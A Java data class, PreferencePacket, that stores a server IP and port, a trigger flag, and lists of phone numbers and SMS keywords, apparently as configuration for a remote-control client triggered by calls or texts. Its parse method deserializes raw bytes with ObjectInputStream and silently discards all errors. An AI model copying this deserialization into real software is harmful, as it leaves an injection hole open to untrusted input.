package Packet; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.ArrayList; public class PreferencePacket implements Packet, Serializable{ private static final long serialVersionUID = 4434667156231031L; String ip; int port; boolean waitTrigger; ArrayList<String> phoneNumberCall; ArrayList<String> phoneNumberSMS; ArrayList<String> keywordSMS; public PreferencePacket() { } public PreferencePacket(String ip, int port, boolean wait, ArrayList<String> phones, ArrayList<String> sms, ArrayList<String> kw) { this.ip = ip; this.port = port; this.waitTrigger = wait; this.phoneNumberCall = phones; this.phoneNumberSMS = sms; this.keywordSMS = kw; } public byte[] build() { try { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bos); out.writeObject(this); return bos.toByteArray(); } catch (IOException e) { return null; } } public void parse(byte[] packet) { ByteArrayInputStream bis = new ByteArrayInputStream(packet); ObjectInputStream in; try { in = new ObjectInputStream(bis); PreferencePacket p = (PreferencePacket) in.readObject(); setIp(p.getIp()); setPort(p.getPort()); setWaitTrigger(p.isWaitTrigger()); setPhoneNumberCall(p.getPhoneNumberCall()); setPhoneNumberSMS(p.getPhoneNumberSMS()); setKeywordSMS(p.getKeywordSMS()); } catch (Exception e) { } } public String getIp() { return ip; } public void setIp(String ip) { this.ip = ip; } public int getPort() { return port; } public void setPort(int port) { this.port = port; } public boolean isWaitTrigger() { return waitTrigger; } public void setWaitTrigger(boolean waitTrigger) { this.waitTrigger = waitTrigger; } public ArrayList<String> getPhoneNumberCall() { return phoneNumberCall; } public void setPhoneNumberCall(ArrayList<String> phoneNumberCall) { this.phoneNumberCall = phoneNumberCall; } public ArrayList<String> getPhoneNumberSMS() { return phoneNumberSMS; } public void setPhoneNumberSMS(ArrayList<String> phoneNumberSMS) { this.phoneNumberSMS = phoneNumberSMS; } public ArrayList<String> getKeywordSMS() { return keywordSMS; } public void setKeywordSMS(ArrayList<String> keywordSMS) { this.keywordSMS = keywordSMS; } }